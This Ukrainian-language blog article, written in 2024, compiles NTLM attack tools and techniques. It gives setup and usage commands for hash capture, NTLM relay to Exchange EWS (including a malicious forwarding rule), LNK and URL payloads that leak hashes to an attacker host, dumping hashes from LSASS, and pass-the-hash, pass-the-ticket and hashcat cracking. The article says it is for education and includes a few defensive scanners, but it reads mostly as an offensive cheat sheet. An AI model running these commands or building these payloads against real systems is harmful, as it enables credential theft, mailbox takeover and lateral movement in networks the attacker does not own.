Глибоке занурення в атаки NTLM. Як захистити ваші системи

07.02.2024 8 хвилин Автор: Cyber Witcher

У цій статті ви знайдете детальний огляд методів зловживання NTLM, включаючи опис основних компонентів NTLM, таких як процес аутентифікації, механізм виклику-відповіді та хеш-базовану аутентифікацію. Також представлено різні версії NTLM, включаючи NTLMv1 та NTLMv2, з акцентом на покращення безпеки, які були внесені в NTLMv2 для усунення вразливостей, виявлених у NTLMv1.

Методи зловживання NTLM

NTLM (NT LAN Manager) — це набір протоколів безпеки, які використовуються операційними системами Microsoft Windows для автентифікації, цілісності та конфіденційності користувачів. З часом він розвивався, маючи різні версії, і широко використовувався в середовищах Windows для єдиного входу (SSO) і мережевої автентифікації. ![[server-during-ntlm-authentication.png]] [https://www.ionos.co.uk/digitalguide/server/know-how/ntlm-nt-lan-manager/]

Компоненти NTLM:

Процес автентифікації:

  • NTLM в основному використовується для автентифікації. Коли користувач намагається ввійти в систему Windows, NTLM є одним із протоколів автентифікації, який може використовуватися.

  • Процес передбачає обмін повідомленнями виклик-відповідь для перевірки особи користувача.

Механізм виклик-відповідь:

  • NTLM використовує механізм виклик-відповідь для автентифікації користувачів. Сервер надсилає виклик клієнту, і клієнт відповідає хешем пароля користувача.

  • Сервер порівнює отриману відповідь з очікуваною, щоб перевірити особу користувача.

Автентифікація на основі хешу:

  • Замість того, щоб надсилати паролі через мережу, NTLM покладається на хеш пароля користувача. Це додає рівень безпеки, уникаючи передачі відкритих текстових паролів.

Версії:

  • Існують різні версії NTLM, зокрема NTLMv1 і NTLMv2. NTLMv2 є більш безпечним і містить удосконалення для усунення вразливостей, знайдених у NTLMv1.

NTLM Security Attacks Mindmap

   +---------------------+
         |     NTLM Attacks     |
         +---------------------+
                   |
                   v

+-----------------------+       +-----------------------+
|   Pass-the-Hash (PtH) |       |    Pass-the-Ticket    |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| Credential Sniffing   |       | Kerberos Ticket Sniff  |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| Credential Stuffing   |       | Ticket Renewal Attack |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| Brute-Force Attacks   |       | Ticket Granting       |
+-----------------------+       | Ticket (TGT) Attacks  |
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| Relay Attacks         |       | Golden Ticket Attack  |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| SMB Relay             |       | Silver Ticket Attack  |
+-----------------------+       +-----------------------+
          |                               |
          v                               v
+-----------------------+       +-----------------------+
| HTTP Relay            |       | Overpass-the-Hash     |
+-----------------------+       +-----------------------+

Витяг NTLMssp:

ID: sinnaj-r / NTLMssp-Extract. Назва: NTLMssp-Extract. Атаки: Витяг хешів NetNTLMv2 з аутентифікацій NTMLssp-HTTP

Команди та коди:

Установка: Клонуйте репозиторій. Запустіть ntlmssp_extract.pyфайл. Потрібні pysharkhttps://github.com/KimiNewt/pyshark ) і Python 3.

Використання: Виконайте файл Python. Виберіть формат виведення: 0 для (cuda/ocl)Hashcat або 1 для JohnTheRipper. Введіть повний шлях до файлу захоплення. За бажанням видаліть із запису непов’язані пакети, щоб пришвидшити вилучення.

ntlmRelayToEWS:

ID: ntlmRelayToEWS. Назва: ntlmRelayToEWS. Автор: Arno0x0x – @Arno0x0x

Атаки: Ретрансляційні атаки NTLM на веб-служби Exchange (EWS). Створення SMBListener на порту 445 і HTTPListener на порту 80. Передайте узгодження NTLM на цільовий сервер EWS

Обмеження та вдосконалення:

Перевірено на Exchange Server 2010 SP2, може працювати на Exchange 2016. Шаблони запитів SOAP, розроблені для Exchange 2010 SP2. Шаблони запитів SOAP можна адаптувати для нових версій за допомогою Microsoft EWS Managed API у режимі трасування.

Передумови:

Потрібна правильна/чиста інсталяція Impacket. Щоб налаштувати, дотримуйтесь інструкцій Ipacket.

Використання:

Здійснювати атаки від імені ретранслюваного користувача (жертви). Для отримання додаткової інформації зверніться до довідки: ./ntlmRelayToEWS -h. Використовуйте --verboseабо -vпозначте для отримання додаткової інформації про налагодження.

Реалізовані атаки:

  • sendMail: Надішліть електронний лист у форматі HTML до списку адресатів.

  • getFolder: Отримати всі елементи з попередньо визначеної папки (вхідні, надіслані, календар, завдання).

  • forwardRule: Створіть злісне правило пересилання, яке пересилає всі вхідні повідомлення для жертви на іншу електронну адресу.

  • setHomePage: Визначте домашню сторінку папки (зазвичай для папки «Вхідні»), вказавши URL-адресу.

  • addDelegate: Встановіть адресу делегата для основної поштової скриньки жертви.

Як отримати облікові дані жертви:

  1. Використовуйте добре відомі методи, щоб спонукати жертву надіслати облікові дані до ntlmRelayToEWS:

  2. Надішліть електронний лист із прихованою картинкою, яка вказує на сервер ntlmRelayToEWS.

  3. Створіть файл посилання зі значком, що вказує на ntlmRelayToEWS, використовуючи шлях UNC.

  4. Виконайте отруєння LLMNR, NBNS або WPAD, щоб перехопити трафік SMB або HTTP від ​​жертви.

ntlmthief:

- **ID:** ntlmthief
- **Title:** NTLMThief
- **Repository:** [NTLMThief](https://github.com/4ndr34z/ntlmthief)
- **Attacks:**
    - Extracts NetNTLMv1/v2 hashes from network traffic
    - Can target protocols like HTTP, SMB, LDAP, IMAP, etc.
- **Commands and Codes:**
    - Refer to the official documentation in the repository for usage and examples. 1. **Word-Thief:**

- **ID:** Word-Thief
- **Title:** Word-Thief
- **Repository:** [Word-Thief](https://github.com/4ndr34z/ntlmthief)
- **Attacks:**
    - Specific attacks related to Microsoft Word documents.
    - May involve phishing, document-based attacks, or other techniques to extract NTLM hashes.
- **Commands and Codes:**
    - Refer to the official documentation in the repository for usage and examples. 2. **PowerPoint-Thief:**

- **ID:** PowerPoint-Thief
- **Title:** PowerPoint-Thief
- **Repository:** [PowerPoint-Thief](https://github.com/4ndr34z/ntlmthief)
- **Attacks:**
    - Specific attacks related to Microsoft PowerPoint documents.
    - Similar to Word-Thief, may involve exploiting PowerPoint files for NTLM hash extraction.
- **Commands and Codes:**
    - Refer to the official documentation in the repository for usage and examples. 3. **Excel-Thief:**

- **ID:** Excel-Thief
- **Title:** Excel-Thief
- **Repository:** [Excel-Thief](https://github.com/4ndr34z/ntlmthief)
- **Attacks:**
    - Specific attacks related to Microsoft Excel documents.
    - Focus on extracting NTLM hashes through Excel-based techniques.
- **Commands and Codes:**
    - Refer to the official documentation in the repository for usage and examples. 4. **Adobe pdf-Thief:**

- **ID:** Adobe pdf-Thief
- **Title:** Adobe PDF-Thief
- **Repository:** [Adobe pdf-Thief](https://github.com/4ndr34z/ntlmthief)
- **Attacks:**
    - Specific attacks related to Adobe PDF documents.
    - Exploiting PDF files to extract NTLM hashes.
- **Commands and Codes:**
    - Refer to the official documentation in the repository for usage and examples.

NTLMParse:

ID: NTLMParse. Назва: NTLMParse. огляд: Утиліта для декодування повідомлень NTLM у кодуванні base64. Надає інформацію про основні властивості та поля в повідомленні.

Використання: Передайте повідомлення, закодоване Base64, програмі для декодування.

приклад:

`➜  ~ pbpaste | NTLMParse (ntlm.AUTHENTICATE_MESSAGE) {   Signature: ([]uint8) (len=8 cap=585) {     00000000  4e 54 4c 4d 53 53 50 00                           |NTLMSSP.|   },   MessageType: (uint32) 3,   LmChallengeResponseFields: (struct { LmChallengeResponseLen uint16; LmChallengeResponseMaxLen uint16; LmChallengeResponseBufferOffset uint32; LmChallengeResponse []uint8 }) {     LmChallengeResponseLen: (uint16) 24,     LmChallengeResponseMaxLen: (uint16) 24,     LmChallengeResponseBufferOffset: (uint32) 160,     LmChallengeResponse: ([]uint8) (len=24 cap=425) {       00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|       00000010  00 00 00 00 00 00 00 00                           |........|     }   },   NtChallengeResponseFields: (struct { NtChallengeResponseLen uint16; NtChallengeResponseMaxLen uint16; NtChallengeResponseBufferOffset uint32; NtChallengeResponse []uint8; NTLMv2Response ntlm.NTLMv2_RESPONSE }) {     NtChallengeResponseLen: (uint16) 384,     NtChallengeResponseMaxLen: (uint16) 384,     NtChallengeResponseBufferOffset: (uint32) 184,     NtChallengeResponse: ([]uint8) (len=384 cap=401) {       00000000  30 eb 30 1f ab 4f 37 4d  79 59 28 73 38 51 19 3b  |0.0..O7MyY(s8Q.;|       00000010  01 01 00 00 00 00 00 00  89 5f 6d 5c c8 72 d8 01  |........._m\.r..|       00000020  c9 74 65 45 b9 dd f7 35  00 00 00 00 02 00 0e 00  |.teE...5........|       00000030  43 00 4f 00 4e 00 54 00  4f 00 53 00 4f 00 01 00  |C.O.N.T.O.S.O...|       00000040  1e 00 57 00 49 00 4e 00  2d 00 46 00 43 00 47 00  |..W.I.N.-.F.C.G.|   } }`

Зразок повідомлення для тестування:

TlRMTVNTUAADAAAAGAAYAKAAAACAAYABuAAAABoAGgBYAAAAEAAQAHIAAAAeAB4AggAAABAAEAA4AgAAFYKI4goAYUoAAAAPqfU7N7/JSXVfIdKvlIvcQkMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwAQQBDAHIAbwBzAHMAZQByAEQARQBTAEsAVABPAFAALQBOAEkARAA0ADQANQBNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDrMB+rTzdNeVkoczhRGTsBAQAAAAAAAIlfbVzIctgByXRlRbnd9zUAAAAAAgAOAEMATwBOAFQATwBTAE8AAQAeAFcASQBOAC0ARgBDAEcAVQA0AEcASABPADAAOAA0AAQAGgBDAE8ATgBUAE8AUwBPAC4ATABPAEMAQQBMAAMAOgBXAEkATgAtAEYAQwBHAFUANABHAEgATwAwADgANAAuAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABQAaAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABwAIAIlfbVzIctgBBgAEAAIAAAAIADAAMAAAAAAAAAABAAAAACAAABQaOHb4nG5F2JL1tA5kL+nKQXJSJLDWljeBv+/XlPXpCgAQAON+EDXYnla0bjpwA8gfVEgJAD4ASABUAFQAUAAvAHMAdABzAC4AYwBvAG4AdABvAHMAbwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4ALgBjAG8AbQAAAAAAAAAAAKDXom0m65knt1NeZF1ZxxQ=

ADFSRelay:

ID: ADFSRelay. Назва: ADFSRelay. Огляд: Доказ концепції утиліти для дослідження релейних атак NTLM, націлених на службу ADFS.

Використання: Єдиний обов’язковий аргумент: URL-адреса сервера ADFS для атаки ретрансляції NTLM. Три необов’язкові аргументи: -debugувімкнути режим налагодження, -portвизначити порт, який служба має слухати (за замовчуванням 8080), і -targetSiteвказати сайт ADFS, на який буде спрямована релейна атака.

приклад:

➜ ~ ADFSRelay -h Usage of ADFSRelay: -debug Enables debug output -help Show the help menu -port int The port the HTTP listener should listen on (default 8080) -targetSite string The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com) ➜ ~

LNKUp:

ID: LNKUp. Назва: LNKUp – генератор корисного навантаження LNK Data Filtration. Репозиторій: LNKUp. Огляд: Інструмент для створення корисних навантажень LNK, які під час візуалізації або запуску вилучають дані. Використання: Розроблено спеціально для Windows.

Типи корисного навантаження:

NTLM:

Викрадає хеш NTLM користувача під час візуалізації. Потрібен сервер слухача, наприклад сервер модуля Metasploit. Більше про витік хешів NTLM: Хеші NTLM – давня помилка дизайну Microsoft

Приклад використання:

lnkup.py --host localhost --type ntlm --output out.lnk

Навколишнє середовище:

Викрадає змінні середовища користувача. Приклади: %PATH%, %USERNAME% тощо. Вимагає встановлення змінних за допомогою --vars.

Приклад використання:

lnkup.py --host localhost --type environment --vars PATH USERNAME JAVA_HOME --output out.lnk

Додаткові параметри:

Використовуйте --execute, щоб вказати команду, яка запускатиметься після подвійного клацання ярлика.

приклад:

lnkup.py --host localhost --type ntlm --output out.lnk --execute "shutdown /s"

Установка:

Вимоги до встановлення за допомогою:

pip install -r requirements.txt

Відомі проблеми:

Цей інструмент не працюватиме на машинах OSX або Linux; він спеціально розроблений для Windows. У деяких ситуаціях можуть виникнути проблеми з кешуванням значків. Відновіть корисне навантаження, якщо воно не виконується після першого разу. Для захоплення хешів NTLM потрібен відповідач або сервер модуля Metasploit. Щоб отримати змінні середовища, запустіть веб-сервер, наприклад Apache, Nginx або будь-який інший.

Інформація:

Творець інструменту не несе відповідальності за будь-які дії, вчинені з цим інструментом. Зв’яжіться з автором із будь-якими запитаннями, відкривши випуск або через Twitter, @Plazmaz.

Lnkbomb:

ID: Lnkbomb. Назва: Lnkbomb – шкідливий завантажувач файлів швидкого доступу. Репозиторій: Lnkbomb.

Огляд: Використовується для завантаження шкідливих файлів швидкого доступу до незахищених спільних файлів. Використовує вразливість, через яку Windows шукає файл піктограми, пов’язаний із файлом ярлика, спрямовуючи його на машину тестувальника проникнення. Збирає хеші NTLMv1 або NTLMv2 (залежно від конфігурації хост-машини жертви) для подальшого використання. Файл корисного навантаження завантажується тестувальником безпосередньо у вказаний незахищений файл. Версія 2.0 використовує бібліотеку pysmb, що дозволяє неавтентифіковане та автентифіковане видалення корисного навантаження.

Використання Python:

Установка:

git clone https://github.com/dievus/lnkbomb.git cd lnkbomb python3 lnkbomb.py -h

Прапори командного рядка:

  • -h--help: перелік параметрів довідки

  • -t--target: вказує цільову IP-адресу

  • -a--attacker: вказує IP-адресу атакуючої машини тестувальника

  • -r--recover: Використовується для видалення корисного навантаження після завершення тестування (наприклад, -r payloadname.url)

  • -w--windows: потрібен для налаштування відповідних портів для спільних ресурсів Windows (нова команда)

  • -l--linux: потрібно для налаштування відповідних портів для спільних ресурсів Linux (нова команда)

  • -n--netbios: має бути включено ім’я NetBIOS для цільових машин Windows (нова команда)

приклади:

`python3 .\lnkbomb.py -t 192.168.1.79 -a 192.168.1.21 -s Shared -u themayor -p Password123! -n dc01 --windows`
       
       
 `python3 .\lnkbomb.py -t 192.168.1.79 -a 192.168.1.21 -s Shared -u themayor -p Password123! -n dc01 --windows -r dicnwdsebl.url`

Захопити хеш NTLM:

Використовуйте такий інструмент, як Responder або smbserver, щоб отримати хеш NTLM.

`responder -I eth0 -dwFP -v`

або

smbserver.py . . -smb2support

Примітки:

Призначено лише для цілей етичного злому та тестування на проникнення. Засуджує тестування цілей без дозволу. Інструмент використовує .urlярлики, а не .lnkрозширення, як навмисний вибір. Активація за допомогою .urlзамість .lnk.

DragonCastle:

ID: DragonCastle. Назва: DragonCastle – AutodialDLL Lateral Movement Technique and SSP for NTLM Hash Scraping.

Опис: PoC, який поєднує техніку бокового переміщення AutodialDLL і SSP для очищення хешів NTLM із процесу LSASS. Завантажує бібліотеку DLL на цільову машину, що дозволяє віддалено змінювати запис AutodialDLL у реєстрі та запускати/перезапускати службу BITS. Svchosts завантажує DLL, встановлює для AutodialDLL значення за замовчуванням і виконує запит RPC, щоб змусити LSASS завантажити ту саму DLL як постачальника підтримки безпеки. Витягує хеші NTLM і ключ/IV із пам’яті процесу LSASS. DLLMain завжди повертає False, щоб процеси не зберігали його.

Застереження:

Працює, коли RunAsPPL не ввімкнено. Підтримує дешифрування 3DES; легко додати код для AES. Реалізовано для певних версій Windows (див. список у наданій інформації).

Використання:

`python3 dragoncastle.py -h`

Прапори командного рядка:

  • -u--username: дійсне ім’я користувача

  • -p--password: дійсний пароль (якщо опущено, його запитуватимуть, якщо не -no-pass)

  • -d--domain: дійсне доменне ім’я

  • -hashes: хеші NT/LM (хеш LM може бути порожнім)

  • -no-pass: не запитувати пароль (корисно для -k)

  • -k: використовувати автентифікацію Kerberos. Отримує облікові дані з файлу ccache на основі цільових параметрів.

  • -dc-ip: IP-адреса контролера домену.

  • -target-ip: IP-адреса цільової машини.

  • -local-dll: місце розташування DLL (локальне), яке буде встановлено в ціль.

  • -remote-dll: Шлях, який використовується для оновлення значення реєстру AutodialDLL.

приклади:

`python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll`

Запити-ntlm:

ID: requests-ntlm. Назва: Автентифікація HTTP NTLM для бібліотеки запитів. Опис: Цей пакет дозволяє автентифікацію HTTP NTLM за допомогою бібліотеки запитів.

Використання:

HttpNtlmAuthрозширює requests.AuthBase, спрощуючи використання:

import requests from requests_ntlm import HttpNtlmAuth requests.get("http://ntlm_protected_site.com", auth=HttpNtlmAuth('domain\\username', 'password'))

HttpNtlmAuthможна використовувати з a Sessionдля використання пулу з’єднань для більшої ефективності.

import requests from requests_ntlm import HttpNtlmAuth session = requests.Session() session.auth = HttpNtlmAuth('domain\\username', 'password') session.get('http://ntlm_protected_site.com')

Установка:

`pip install requests_ntlm`

Вимоги: requests. pyspnego

LDAP Relay Scan:

ID: LDAP Relay Scan. Назва: Інструмент для перевірки контролерів домену на захист сервера LDAP. Опис: Інструмент для перевірки контролерів домену на захист сервера LDAP щодо реле автентифікації NTLM. У ньому перелічено засоби захисту LDAP, включаючи прив’язку каналу LDAPS і вимоги до підпису сервера LDAP.

Установка:

Рекомендується використовувати віртуальне середовище Docker або Python.

Докер:

Переконайтеся, що Docker встановлено на вашій машині. Клонуйте репозиторій і змініть каталог.

git clone https://github.com/zyn3rgy/LdapRelayScan.git && cd LdapRelayScan

Створіть контейнер Docker.

docker build -f docker/Dockerfile -t ldaprelayscan .

[Необов’язково] Переконайтеся, що сценарій виконується належним чином.

docker run ldaprelayscan -h

Віртуальне середовище Python:

Переконайтеся, що на вашій машині встановлено Python virtualenv. Клонуйте репозиторій і змініть каталог.

git clone https://github.com/zyn3rgy/LdapRelayScan.git && cd LdapRelayScan

Створіть віртуальне середовище Python для проекту.

virtualenv env

Активуйте віртуальне середовище Python.

source venv/bin/activate

Установіть точні залежності версій вимог.

python3 -m pip install -r requirements_exact.txt

[Необов’язково] Переконайтеся, що сценарій виконується належним чином.

python3 LdapRelayScan.py -h

Використання:

Інструмент має два методи: LDAPS (за замовчуванням) і ОБИВА. Для LDAPS потрібна лише IP-адреса контролера домену та перевірка прив’язки каналу (може виконуватися без автентифікації). Для методу BOTH потрібне ім’я користувача та пароль або хеш NT, перевірка підпису LDAP і зв’язування каналу LDAP (потрібна автентифікація).

Аргументи:

  • -h, --help: Показати довідкове повідомлення та вийти.

  • -method method: LDAPS або BOTH – LDAPS перевіряє зв’язування каналу, BOTH перевіряє підписання LDAP і зв’язування каналу LDAP [потрібна автентифікація].

  • -dc-ip DC_IP: сервер імен DNS у мережі. Будь-яка IPv4-адреса DC має працювати.

  • -u username: значення імені користувача домену.

  • -timeout timeout: Час очікування підключення клієнта MSLDAP.

  • -p password: значення імені користувача домену.

  • -nthash nthash: NT хеш пароля.

приклади:

Приклади використання базового/віртуального середовища:

python3 LdapRelayScan.py -method LDAPS -dc-ip 10.0.0.20 python3 LdapRelayScan.py -method BOTH -dc-ip 10.0.0.20 -u domainuser1 python3 LdapRelayScan.py -method BOTH -dc-ip 10.0.0.20 -u domainuser1 -p badpassword2 python3 LdapRelayScan.py -method BOTH -dc-ip 10.0.0.20 -u domainuser1 -nthash e6ee750a1feb2c7ee50d46819a6e4d25

Приклади використання Docker:

docker run ldaprelayscan -h docker run ldaprelayscan -dc-ip 10.0.0.20 docker run ldaprelayscan -dc-ip 10.0.0.20 -method BOTH -u domainuser1 -p secretpass docker run -e PROXY_CONFIG='socks5 127.0.0.1 9050' --network=host ldaprelayscan -dc-ip 10.0.0.20 -method BOTH -u domainuser1 -p secretpass

Специфіка перерахування на основі помилок:

[LDAPS] Вимоги до маркера прив’язки каналу:

На виправленому контролері домену існує можливість примусового прив’язування каналу LDAPS. Це визначається з точки зору неавтентифікації шляхом аналізу помилок під час процесу зв’язування LDAP.

Розшифровка та моніторинг трафіку LDAP через SSL/TLS дозволяє ідентифікувати помилки, коли прив’язка каналу застосовується, а коли її немає. Конкретна помилка, дані 80090346 (SEC_E_BAD_BINDINGS), вказує на неправильне прив’язування каналу SSPI.

Інструмент розрізняє різні параметри контролера домену: політику вимог до маркерів зв’язування каналу сервера LDAP, наприклад «Ніколи», «Коли підтримується» або «Завжди».

«Ніколи» проти «Коли підтримується» проти «Завжди»:

Інструмент навмисно неправильно обчислює інформацію про прив’язку каналу, коли для політики встановлено значення «Коли підтримується», створюючи ту саму помилку даних 80090346.

[LDAP] Вимоги до підпису сервера:

Контролер домену: політика вимог до підписання сервера LDAP може бути встановлена ​​на «Немає», «Потрібне підписання» або її можна не визначити.

Якщо не визначено, за замовчуванням підпис не вимагається. Інструмент визначає вимогу, коли проста спроба зв’язування відповідає кодом результату 8, що означає, що вимагається сильніша авторизація.

Література:

Безцінні ресурси для контекстуалізації та розуміння цього інструменту та того, як він вписується в типові сценарії атак.

Різні особи: @HackAndDo, @_nwodtuhs, @_dirkjan,

lsarelayx:

ID: lsarelayx. Назва: Загальносистемний інструмент ретрансляції NTLM. Опис: lsarelayx — це загальносистемний інструмент ретрансляції NTLM, призначений для ретрансляції вхідної автентифікації на основі NTLM на хост, на якому він працює. Він ретранслює будь-який вхідний запит автентифікації, який включає SMB, HTTP/HTTPS, LDAP/LDAPS або будь-яку іншу сторонню програму, що реалізує API автентифікації Windows.

особливості:

Ретранслює підключення NTLM для всієї системи, включаючи SMB, HTTP/HTTPS, LDAP/LDAPS або будь-яку іншу сторонню програму, яка реалізує API автентифікації Windows.

Знижує вхідні запити автентифікації Kerberos до NTLM, де це можливо, змушуючи клієнтів повертатися до NTLM.

Виконує запит LDAP для користувача з ретрансляцією, щоб отримати інформацію про членство в групі, і створює правильний маркер автентифікації для вихідного запиту.

Скидає повідомлення NetNTLM для офлайн-злому.

Підтримує пасивний режим, який не ретранслює, а лише скидає захоплені хеші NetNTLM (у цьому режимі немає повернення Kerberos).

Як це працює:

lsarelayx складається з трьох частин: liblsarelayx.dll (фальшивий постачальник автентифікації LSA), lsarelayx.exe (консольна програма в режимі користувача як інтерфейс керування) і новий серверний модуль ntlmrelayx під назвою RAW.

liblsarelayx.dll:

Провайдер автентифікації LSA, завантажений lsarelayx, перехоплює пакети NTLM і Negotiate, перенаправляє запити автентифікації на lsarelayx через локальний іменований канал для ретрансляції та скидання хешів NetNTLM.

lsarelayx.exe:

Додаток головної консолі завантажує спеціалізований постачальник автентифікації LSA, прослуховує вхідні маркери NTLM і Negotiate, передає на серверний модуль RAW ntlmrelayx і виконує запити LDAP для захоплення інформації про групу. RAW ntlmrelayx модуль: Новий серверний модуль ntlmrelayx під назвою RAW приймає необроблені повідомлення NTLM безпосередньо від lsarelayx.

Використання:

Активний режим: Запустіть модуль сервера ntlmrelayx RAW.

python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan

Запустіть lsarelayx в режимі активного реле.

lsarelayx.exe --host 192.168.1.1

Пасивний режим: Запустіть lsarelayx у пасивному режимі.

lsarelayx.exe

Застереження:

liblsarelayx.dll неможливо вивантажити після завантаження в lsass.exe через обмеження роботи плагінів LSA.

Плагін LSA, який не є справжнім плагіном, може бути реалізований як рефлексивний завантажувач усередині плагіна в майбутньому.

Розробка виконувалася на Windows 10 і Server 2016. Тестування на інших версіях може вимагати налаштування вручну.

!!УВАГА!!: liblsarelayx.dll буде завантажено в критичний процес lsass.exe. Помилки можуть призвести до збою lsass.exe, що призведе до перезавантаження хосту через 60 секунд.

Pass-the-Hash (PtH)

Потік атак:

  1. Отримати хеш: Зберіть або витягніть хешовані облікові дані (хеш NTLM або LM) із скомпрометованої системи.

  2. Передайте хеш: використовуйте отриманий хеш для автентифікації в інших системах або службах, не потребуючи фактичного текстового пароля.

  3. Бічне переміщення: переміщуйтесь убік у мережі, підвищуючи привілеї та отримуючи доступ до додаткових систем.

Команди та коди:

mimikatz.exe "sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash>"

mpacket’s psexec.py: Виконуйте команди у віддаленій системі за допомогою захопленого хешу.

psexec.py <target> -hashes :<hash>

Інструменти передачі хешів: різні інструменти, як-от редактор облікових даних Windows (WCE) або модуль PsExec від Metasploit.

wce.exe -w

Pass-the-Ticket (PtT)

Потік атак:

  • Вилучення квитків. Отримайте квиток Kerberos Ticket Granting Ticket (TGT) або Ticket-Granting Service (TGS) із скомпрометованої системи.

  • Передайте квиток: використовуйте отриманий квиток для автентифікації в інших системах або службах, не потребуючи відкритих облікових даних користувача.

  • Бічне переміщення: переміщуйтесь убік у мережі, підвищуючи привілеї та отримуючи доступ до додаткових систем.

Команди та коди:

Mimikatz: потужний інструмент після експлуатації.

mimikatz.exe "kerberos::ptt <base64_ticket>"

Psexec.py Impacket: Виконуйте команди у віддаленій системі за допомогою захопленого квитка.

psexec.py <target> -k -ticket <base64_ticket>

Зловживання KRBTTGT: зловживання Kerberos TGT для бічного переміщення.

kirbikator krbtgt/<domain>@<domain> -t <base64_tgt>

Overpass-the-Hash (OtH) ID: OTH-001

Потік атак:

  1. Початкова крадіжка облікових даних. Отримайте дійсні облікові дані за допомогою різних способів, таких як фішинг, розпилення пароля або введення облікових даних.

  2. Передача хешу (PtH): використовуйте отримані облікові дані, щоб витягнути хеш-значення (наприклад, NTLM або Kerberos) із скомпрометованої системи.

  3. Overpass-the-Hash: Використовуйте витягнуті хеш-значення для доступу до додаткових систем або ресурсів у мережі без потреби в облікових даних у відкритому вигляді.

  4. Бічне переміщення: використовуйте скомпрометовані облікові дані для бокового переміщення по мережі, підвищення привілеїв і доступу до конфіденційної інформації.

Команди та коди:

Pass-the-Hash (PtH) з Mimikatz: Використовуйте Mimikatz для виконання PtH з вилученим хешем.

mimikatz.exe "sekurlsa::pth /user:<username> /ntlm:<NTLM_hash> /domain:<domain> /run:<command>"

Передача ключа (PtK) з Impacket: використовуйте модуль psexec Impacket для виконання PtH з хешем NTLM.

psexec.py <target_IP> -hashes :<NTLM_hash> -u <username> -p <password>

Overpass-the-Hash із CrackMapExec (CME): використовуйте CME для бокового переміщення за допомогою скомпрометованих облікових даних.

cme smb <target_IP> -u <username> -p :<NTLM_hash>

HTTP Relay

Потік атак:

  • Цільова ідентифікація: визначте цільову веб-програму, яка використовує автентифікацію NTLM для доступу користувачів.

  • Збір облікових даних NTLM: перехоплення трафіку автентифікації NTLM між клієнтом і цільовою веб-програмою.

  • HTTP Relay: передайте перехоплену автентифікацію NTLM на інший сервер або програму.

  • Успішна автентифікація: досягніть успішної автентифікації цільової веб-програми за допомогою ретрансляційних облікових даних NTLM.

Команди та коди:

Відповідач для NTLM Relay: використовуйте Responder для виконання атак NTLM Relay. bash responder -I <interface> -w -r -v ‍‍‍

Ntlmrelayx для ретрансляції HTTP: використовуйте ntlmrelayx із набору інструментів Impacket для ретрансляції автентифікації NTLM.

ntlmrelayx.py -t <target_url> --no-http-server

HTTPD-NTLM-Relay для конкретних програм: використовуйте HTTPD-NTLM-Relay для конкретних цілей програми.

./httpd-ntlm-relay -u http://<target_url> -l <local_IP> -r <remote_IP>

Атаки грубою силою з Hashcat

Потік атак:

  • Ідентифікація хешу: отримуйте цільові хеші паролів із скомпрометованої системи або дампа бази даних.

  • Конфігурація Hashcat: підготуйте Hashcat до атак методом грубої сили, вибравши відповідний режим хешування та тип атаки.

  • Створення списку слів: створіть або виберіть список слів, який містить потенційні паролі для цільових хешів.

  • Виконання грубою силою: запустіть Hashcat, щоб систематично спробувати комбінації паролів проти цільових хешів.

  • Відновлення пароля: Визначайте успішні збіги паролів із результатів Hashcat.

Команди та коди:

Режими Hashcat:

  • MD5:-m 0

  • SHA-1:-m 100

  • SHA-256:-m 1400

  • NTLM:-m 1000

Атака грубою силою:

  • Прямий (інкрементальний):-a 3

  • Комбінація:-a 1

  • Маска Атака:-a 3 --increment -1 ?u?l?d

Атака на список слів:

  • Стандартний список слів:hashcat -m 1000 -a 0 hashes.txt /path/to/wordlist.txt

Інкрементна груба сила:

  • Тільки числові:hashcat -m 1000 -a 3 hashes.txt -1 ?d

  • буквено-цифровий:hashcat -m 1000 -a 3 hashes.txt -1 ?l?d

Маска Атака:

  • Укажіть набір символів:hashcat -m 1000 -a 3 hashes.txt -1 ?l?d ?1?1?1?1

Стаття зроблена з ознайомчими цілями

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.